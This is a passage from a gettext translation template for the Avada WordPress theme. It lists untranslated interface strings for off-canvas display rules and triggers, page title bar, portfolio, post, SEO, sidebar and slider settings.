"Horizontal Position" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:177 msgid "" "Set the horizontal position. \"Start\" meaning left on LTR, and right on " "RTL sites, \"End\" meaning right on LTR, and left on RTL sites." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:183 msgid "End" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:202 msgid "Vertical Position" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:203 msgid "Select the vertical position." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:230 msgid "" "Select Off Canvas height. Enter value including any valid CSS unit, ex: " "300px." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:259 msgid "Content Layout" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:260 msgid "" "Choose Content Layout type. Block will not use Flex positioning, but will " "allow floated elements." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:268 #: includes/options/performance.php:91 msgid "Block" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:277 msgid "Choose how to align Content containers." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:282 #: includes/metaboxes/tabs/tab_off_canvas_general.php:318 msgid "Flex Start" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:284 #: includes/metaboxes/tabs/tab_off_canvas_general.php:320 msgid "Flex End" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:287 msgid "Space Evenly" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:312 msgid "Content Vertical Alignment" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:313 msgid "Choose how to align Content containers vertically." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:321 msgid "Stretch" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:344 msgid "Wrap Content" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:345 msgid "" "\"Wrap\" wraps elements onto multiple rows, while \"No Wrap\" will force " "rlements onto one row." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:350 msgid "Wrap" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:351 msgid "No Wrap" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:366 #: includes/plugins/multiple_sidebars.php:286 msgid "CSS Class" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:367 msgid "Add a class to the wrapping HTML element." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:377 msgid "CSS ID" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:378 msgid "" "Add a unique ID to the wrapping HTML element. This ID will used in Off " "Canvas link." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:27 msgid "Enable/Disable overlay." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:42 msgid "Page Scrollbar" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:43 msgid "Enable/Disable page scrollbar when Off Canvas is active." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:65 msgid "" "Choose the background color of the overlay. Leave empty for default value " "of rgba(0,0,0,0.8)." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:36 msgid "Published After" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:37 msgid "" "Controls when the Off-Canvas should be published. Use SQL time format: " "YYYY-MM-DD HH:MM:SS. E.g: 2016-05-10 12:30:00. Timezone of site is used. " "Leave empty for no restriction." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:44 msgid "Published Until" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:45 msgid "" "Controls date and time the Off-Canvas should be published until. Use SQL " "time format: YYYY-MM-DD HH:MM:SS. E.g: 2016-05-10 12:30:00. Timezone of " "site is used. Leave empty for no restriction." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:53 msgid "Frequency" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:54 msgid "Select display frequency for the Off Canvas." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:59 msgid "Show every time" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:60 msgid "Show every time until user closes it" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:61 msgid "Show once" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:62 msgid "Show up to x times" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:63 msgid "Show every session" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:64 msgid "Show every day" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:65 msgid "Show every week" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:66 msgid "Show every month" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:67 msgid "Show on specific days" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:72 msgid "Number Of Days" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:73 msgid "Set the number of days to display the off canvas." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:86 msgid "Number Of times" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:87 msgid "Set the Off Canvas display count ex: 3." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:102 msgid "Show After X Page Views" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:103 msgid "Display Off Canvas after visitor views a specific number of pages." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:114 msgid "Number Of Page Views" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:115 msgid "Set the number of page views needed to display the Off Canvas, ex: 3." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:130 msgid "Show After X Sessions" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:131 msgid "Display Off Canvas after a specific number of sessions." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:142 msgid "Number Of Sessions" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:143 msgid "Set the number of visiting sessions needed to display the Off Canvas, ex: 3." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:157 msgid "Number Of Times" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:158 msgid "Set the number of times the Off Canvas should be displayed, ex: 3." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:174 msgid "Show When Arriving From" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:175 msgid "Choose when Off Canvas should be displayed depending on referring link type." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:180 msgid "Internal Links" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:181 msgid "External Links" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:182 msgid "Search Engine" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:189 msgid "Users" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:190 msgid "Choose the user type that will be able to see the Off Canvas." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:195 msgid "All Users" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:196 msgid "Logged in users" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:197 msgid "Logged out users" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:202 msgid "User Roles" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:203 msgid "Display Off Canvas for specific user roles. Leave blank for all." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:220 msgid "Device" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:221 msgid "Display Off Canvas for specific device types. Leave blank for all." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_rules.php:227 msgid "Tablet" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:27 msgid "On Page Load" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:28 msgid "Display Off Canvas on page load." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:41 msgid "Time On Page" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:42 msgid "" "Display Off Canvas after visitor has spent a specific amount of time on the " "page." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:53 msgid "Time On Page Duration" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:54 msgid "" "Set the time that needs to pass before the Off Canvas will be displayed. In " "seconds, ex: 5." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:70 msgid "On Scroll" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:71 msgid "" "Display Off Canvas when the visitor has scrolled up or down to a specific " "position or element." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:82 msgid "Scroll Direction" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:83 msgid "Set a scroll direction for triggering the Off Canvas." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:88 msgid "Up" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:89 msgid "Down" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:101 msgid "Scroll To" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:102 msgid "" "Choose whether the scroll trigger should be relative to position or element " "on the page." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:125 msgid "Scroll Position" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:126 msgid "Set the scroll position. Enter value including any valid CSS unit, ex: 300px" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:150 msgid "Scroll Element" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:151 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:189 msgid "" "Insert element CSS selector like class or ID, ex: .element-class, " "#element-ID." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:176 msgid "On Click" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:177 msgid "Display Off Canvas when visitor clicks on the element." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:188 msgid "Element Selector" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:204 msgid "Exit Intent" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:205 msgid "Display Off Canvas when visitor intends to close or leave the page." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:217 msgid "After Inactivity" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:218 msgid "Display Off Canvas if visitor is inactive for a specific amount of time." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:229 msgid "Inactivity Duration" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:230 msgid "" "Set the time that needs to pass for visitor inactivity before the Off " "Canvas will be displayed. In seconds, ex: 30." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:249 msgid "After Product Is Added to Cart" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:250 msgid "Display Off Canvas after WooCommerce product is added to cart." msgstr "" #: includes/metaboxes/tabs/tab_page.php:54 includes/options/layout.php:55 msgid "Wide" msgstr "" #: includes/metaboxes/tabs/tab_page.php:55 includes/options/layout.php:54 #: includes/options/portfolio.php:205 msgid "Boxed" msgstr "" #: includes/metaboxes/tabs/tab_page.php:58 #. translators: Additional description (defaults). msgid "Select boxed or wide layout. %s" msgstr "" #: includes/metaboxes/tabs/tab_page.php:67 includes/options/background.php:161 msgid "Background Color For Page" msgstr "" #: includes/metaboxes/tabs/tab_page.php:69 #. translators: Additional description (defaults). msgid "" "Controls the background color for the page. When the color value is set to " "anything below 100% opacity, the color will overlay the background " "image if one is uploaded. Hex code, ex: #000. %s" msgstr "" #: includes/metaboxes/tabs/tab_page.php:76 includes/options/background.php:41 msgid "Background Image For Page" msgstr "" #: includes/metaboxes/tabs/tab_page.php:79 #. translators: Additional description (defaults). msgid "Select an image to use for a full page background. %s" msgstr "" #: includes/metaboxes/tabs/tab_page.php:129 msgid "Container 100% Height Animation" msgstr "" #: includes/metaboxes/tabs/tab_page.php:131 #. translators: %s: The default value. msgid "" "Select the animation of the scrolling transition on 100%% height scrolling " "sections. %s" msgstr "" #: includes/metaboxes/tabs/tab_page.php:135 msgid "Slide Up" msgstr "" #: includes/metaboxes/tabs/tab_page.php:136 msgid "Slide Right" msgstr "" #: includes/metaboxes/tabs/tab_page.php:137 msgid "Slide Left" msgstr "" #: includes/metaboxes/tabs/tab_page.php:138 msgid "Scroll Right" msgstr "" #: includes/metaboxes/tabs/tab_page.php:139 msgid "Scroll Left" msgstr "" #: includes/metaboxes/tabs/tab_page.php:140 msgid "Scroll Right Free" msgstr "" #: includes/metaboxes/tabs/tab_page.php:141 msgid "Scroll Left Free" msgstr "" #: includes/metaboxes/tabs/tab_page.php:142 msgid "Stack" msgstr "" #: includes/metaboxes/tabs/tab_page.php:144 msgid "Slide Zoom In" msgstr "" #: includes/metaboxes/tabs/tab_page.php:145 msgid "Slide Zoom Out" msgstr "" #: includes/metaboxes/tabs/tab_page.php:153 msgid "Container 100% Height Scroll Sensitivity" msgstr "" #: includes/metaboxes/tabs/tab_page.php:154 msgid "" "Controls the sensitivity of the scrolling transition on 100% height " "scrolling sections. In milliseconds." msgstr "" #: includes/metaboxes/tabs/tab_page.php:174 msgid "Container 100% Height Scroll Speed" msgstr "" #: includes/metaboxes/tabs/tab_page.php:175 msgid "" "Controls the speed of the scrolling transition on 100% height scrolling " "sections. In milliseconds." msgstr "" #: includes/metaboxes/tabs/tab_page.php:199 msgid "Container 100% Height Dots Navigation" msgstr "" #: includes/metaboxes/tabs/tab_page.php:201 #. translators: %s: The default value. msgid "" "Enable / Disable the dots navigation for 100%% height containers. Disabling " "dots navigation may be useful if using custom navigation. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:158 msgid "Breadcrumbs/Search Bar" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:160 #. translators: Additional description (defaults). msgid "Choose to display the breadcrumbs, search bar or none. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:166 #: includes/options/breadcrumbs.php:43 includes/options/page_title_bar.php:104 #: includes/options/typography.php:325 msgid "Breadcrumbs" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:167 #: includes/options/page_title_bar.php:105 msgid "Search Bar" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:173 #: includes/options/page_title_bar.php:119 msgid "Page Title Bar Headings" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:175 #. translators: Additional description (defaults). msgid "Choose to show or hide the page title bar headings. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:188 #: includes/options/page_title_bar.php:353 msgid "Page Title Bar Text Alignment" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:190 #. translators: Additional description (defaults). msgid "" "Choose the title and subhead text alignment. Breadcrumbs / search field " "will be on opposite side for left / right alignment and below the title for " "center alignment. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:205 msgid "Page Title Bar Heading Custom Text" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:206 msgid "Insert custom text for the page title bar main heading." msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:215 #: includes/options/page_title_bar.php:267 msgid "Page Title Bar Heading Font Size" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:217 #: includes/metaboxes/tabs/tab_pagetitlebar.php:252 #. translators: Additional description (defaults). msgid "In pixels. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:223 #: includes/options/page_title_bar.php:303 msgid "Page Title Bar Heading Font Color" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:226 #. translators: Additional description (defaults). msgid "Controls the text color of the page title bar main heading. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:232 msgid "Page Title Bar Line Height" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:234 #. translators: Additional description (defaults). msgid "Valid CSS unit. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:241 msgid "Page Title Bar Subheading Custom Text" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:242 msgid "Insert custom text for the page title bar subheading." msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:250 #: includes/options/page_title_bar.php:319 msgid "Page Title Bar Subheading Font Size" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:258 #: includes/options/page_title_bar.php:337 msgid "Page Title Bar Subheading Font Color" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:261 #. translators: Additional description (defaults). msgid "Controls the text color of the page title bar subheading. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:267 #: includes/options/page_title_bar.php:145 msgid "Page Title Bar 100% Width" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:269 #. translators: Additional description (defaults). msgid "" "Choose \"Yes\" to have the page title bar area display at 100% width " "according to the viewport size. Select \"No\" to follow site width. Only " "works with wide layout mode. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:298 #: includes/options/page_title_bar.php:221 msgid "Page Title Bar Background Color" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:301 #. translators: Additional description (defaults). msgid "Controls the background color of the page title bar. Hex code, ex: #000. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:307 #: includes/options/page_title_bar.php:237 msgid "Page Title Bar Borders Color" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:310 #. translators: Additional description (defaults). msgid "Controls the border color of the page title bar. Hex code, ex: #000. %s" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:351 #: includes/options/footer.php:166 includes/options/header.php:737 #: includes/options/page_title_bar.php:459 msgid "Parallax Background Image" msgstr "" #: includes/metaboxes/tabs/tab_pagetitlebar.php:353 #. translators: Additional description (defaults). msgid "Choose a parallax scrolling effect for the background image. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:44 #: includes/metaboxes/tabs/tab_post.php:79 #. translators: The edit link. Text of link is the title. msgid "Show Previous/Next Pagination" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:46 #: includes/metaboxes/tabs/tab_post.php:81 #. translators: Additional description (defaults). msgid "Choose to show or hide the post navigation. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:60 msgid "Width (Content Columns for Featured Image)" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:62 #. translators: Additional description (defaults). msgid "Choose if the featured image is full or half width. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:67 #: includes/options/portfolio.php:577 msgid "Full Width" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:68 #: includes/options/portfolio.php:578 msgid "Half Width" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:76 #. translators: Additional description (defaults). msgid "Show the 1st featured image on single post pages. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:92 #: includes/metaboxes/tabs/tab_post.php:56 msgid "Featured Image Dimensions" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:93 #: includes/metaboxes/tabs/tab_post.php:57 msgid "" "In pixels or percentage, ex: 100% or 100px. Or Use \"auto\" for automatic " "resizing if you added either width or height." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:101 #: includes/metaboxes/tabs/tab_post.php:69 msgid "Video Embed Code" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:102 #: includes/metaboxes/tabs/tab_post.php:70 msgid "Insert Youtube or Vimeo embed code." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:108 msgid "Video URL for Lightbox" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:109 msgid "" "Insert the video URL that will show in the lightbox. This can be a YouTube, " "Vimeo or a self-hosted video URL." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:118 msgid "Show Project Description Title" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:120 #. translators: Additional description (defaults). msgid "Choose to show or hide the project description title. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:133 msgid "Show Project Details" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:135 #. translators: Additional description (defaults). msgid "Choose to show or hide the project details text. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:149 msgid "Project URL" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:150 msgid "The URL the project text links to." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:156 msgid "Project URL Text" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:157 msgid "The custom project text that will link." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:163 msgid "Copyright URL" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:164 msgid "The URL the copyright text links to." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:170 msgid "Copyright URL Text" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:171 msgid "The custom copyright text that will link." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:177 #: includes/metaboxes/tabs/tab_post.php:99 includes/options/extra.php:548 msgid "Image Rollover Icons" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:179 #: includes/metaboxes/tabs/tab_post.php:101 #. translators: Additional description (defaults). msgid "Choose which icons display on this post. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:184 #: includes/metaboxes/tabs/tab_post.php:109 includes/options/extra.php:554 msgid "Link + Zoom" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:192 #: includes/metaboxes/tabs/tab_post.php:118 msgid "Custom Link URL On Archives" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:193 #: includes/metaboxes/tabs/tab_post.php:119 msgid "" "Link URL that will be used on archives either for the rollover link icon or " "on the image if rollover icons are disabled. Leave blank for post URL." msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:198 #: includes/options/portfolio.php:664 msgid "Open Portfolio Links In New Window" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:200 #. translators: Additional description (defaults). msgid "" "Choose to open the single post page, project url and copyright url links in " "a new window. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:218 msgid "Show Author" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:227 #. translators: Additional description (defaults). msgid "Choose to show or hide the author in the Project Details. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:234 msgid "Toggle Author" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:257 #: includes/metaboxes/tabs/tab_post.php:171 msgid "Toggle Social Sharing Box" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:264 msgid "Show Related Projects" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:266 #. translators: Additional description (defaults). msgid "Choose to show or hide related projects on this post. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:280 msgid "Toggle Related Projects" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:287 #: includes/metaboxes/tabs/tab_post.php:224 msgid "Show Comments" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:289 #: includes/metaboxes/tabs/tab_post.php:226 #. translators: Additional description (defaults). msgid "Choose to show or hide comments area. %s" msgstr "" #: includes/metaboxes/tabs/tab_portfolio_post.php:303 #: includes/metaboxes/tabs/tab_post.php:240 msgid "Toggle Comments" msgstr "" #: includes/metaboxes/tabs/tab_post.php:45 msgid "Show the 1st featured image on single post pages." msgstr "" #: includes/metaboxes/tabs/tab_post.php:124 msgid "Open Blog Links In New Window" msgstr "" #: includes/metaboxes/tabs/tab_post.php:125 msgid "Choose to open the single post page link in a new window." msgstr "" #: includes/metaboxes/tabs/tab_post.php:140 msgid "Show Post Meta" msgstr "" #: includes/metaboxes/tabs/tab_post.php:142 #. translators: Additional description (defaults). msgid "Choose to show or hide the post meta. %s" msgstr "" #: includes/metaboxes/tabs/tab_post.php:178 msgid "Show Author Info Box" msgstr "" #: includes/metaboxes/tabs/tab_post.php:180 #. translators: Additional description (defaults). msgid "Choose to show or hide the author info box. %s" msgstr "" #: includes/metaboxes/tabs/tab_post.php:194 msgid "Toggle Author Info Box" msgstr "" #: includes/metaboxes/tabs/tab_post.php:201 msgid "Show Related Posts" msgstr "" #: includes/metaboxes/tabs/tab_post.php:203 #. translators: Additional description (defaults). msgid "Choose to show or hide related posts on this post. %s" msgstr "" #: includes/metaboxes/tabs/tab_post.php:217 msgid "Toggle Related Posts" msgstr "" #: includes/metaboxes/tabs/tab_seo.php:29 msgid "SEO Title" msgstr "" #: includes/metaboxes/tabs/tab_seo.php:31 #. translators: Option value (defaults). msgid "" "Insert the SEO title. Inline dynamic data can be used here, incl. " "{separator}. Separator is currently set to: %s." msgstr "" #: includes/metaboxes/tabs/tab_seo.php:42 #. translators: Option value (defaults). msgid "Meta Description" msgstr "" #: includes/metaboxes/tabs/tab_seo.php:43 msgid "" "Insert your post meta description. Inline dynamic data can be used here, " "incl. {separator}. Separator is currently set to: %s." msgstr "" #: includes/metaboxes/tabs/tab_seo.php:48 msgid "Open Graph Image" msgstr "" #: includes/metaboxes/tabs/tab_seo.php:49 msgid "Upload an image to be used as open graph image tag." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:144 #. translators: The edit link. Text of link is the title. msgid "No Sidebar" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:166 #: includes/metaboxes/tabs/tab_sidebars.php:173 #. translators: The sidebar name. msgid "Default (%s)" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:183 msgid "" "IMPORTANT NOTE: Sidebars cannot be assigned to this page " "because it is currently set to use the 100% width page template. To change " "this, go to the Settings tab and change the page template to default." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:197 msgid "Select Sidebar 1" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:198 msgid "" "Select sidebar 1 that will display on this page. Choose \"No Sidebar\" for " "full width." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:214 msgid "Select Sidebar 2" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:215 msgid "" "Select sidebar 2 that will display on this page. Choose \"No Sidebar\" for " "full width." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:232 #: includes/metaboxes/tabs/tab_sidebars.php:259 msgid "Sidebar 1 Position" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:234 #. translators: Additional description (defaults). msgid "" "Select the sidebar 1 position. If sidebar 2 is selected, it will display on " "the opposite side. %s" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:261 #. translators: Additional description (defaults). msgid "" "Select the sidebar 1 position. If sidebar 2 is selected, it will display on " "the opposite side." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:285 msgid "Responsive Sidebar Order" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:287 #. translators: Additional description (defaults). msgid "" "Choose the order of sidebars and main content area on mobile layouts " "through drag & drop sorting. %s" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:292 #: includes/metaboxes/tabs/tab_sidebars.php:326 #: includes/options/sidebars.php:84 includes/options/sidebars.php:105 msgid "Sidebar 1" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:293 #: includes/metaboxes/tabs/tab_sidebars.php:327 #: includes/options/sidebars.php:85 includes/options/sidebars.php:106 msgid "Sidebar 2" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:307 #: includes/options/sidebars.php:98 msgid "Sticky Sidebars" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:309 #. translators: Additional description (defaults). msgid "" "Select the sidebar(s) that should remain sticky when scrolling the page. If " "the sidebar content is taller than the screen, it acts like a normal " "sidebar until the bottom of the sidebar is within the viewport, which will " "then remain fixed in place as you scroll down. %s" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:328 #: includes/options/sidebars.php:107 msgid "Both" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:343 #: includes/options/sidebars.php:131 msgid "Sidebar Background Color" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:345 #. translators: Additional description (defaults). msgid "Controls the background color of the sidebar. Hex code, ex: #000. %s" msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:364 msgid "" "IMPORTANT NOTE: The Activate Global Sidebars option is " "turned on which removes the ability to choose individual sidebars. Turn off " "that option to assign unique sidebars." msgstr "" #: includes/metaboxes/tabs/tab_sidebars.php:368 #. translators: Additional description (defaults). msgid "" "IMPORTANT NOTE: The Activate Global Sidebars option is turned on which " "removes the ability to choose individual sidebars. Turn off that option to " "assign unique sidebars." msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:43 msgid "Slider Type" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:62 msgid "Select LayerSlider" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:88 msgid "Select Avada Slider" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:183 msgid "Disable Avada Styles For Slider Revolution" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:185 #. translators: Additional description (defaults). msgid "Choose to enable or disable Avada styles for 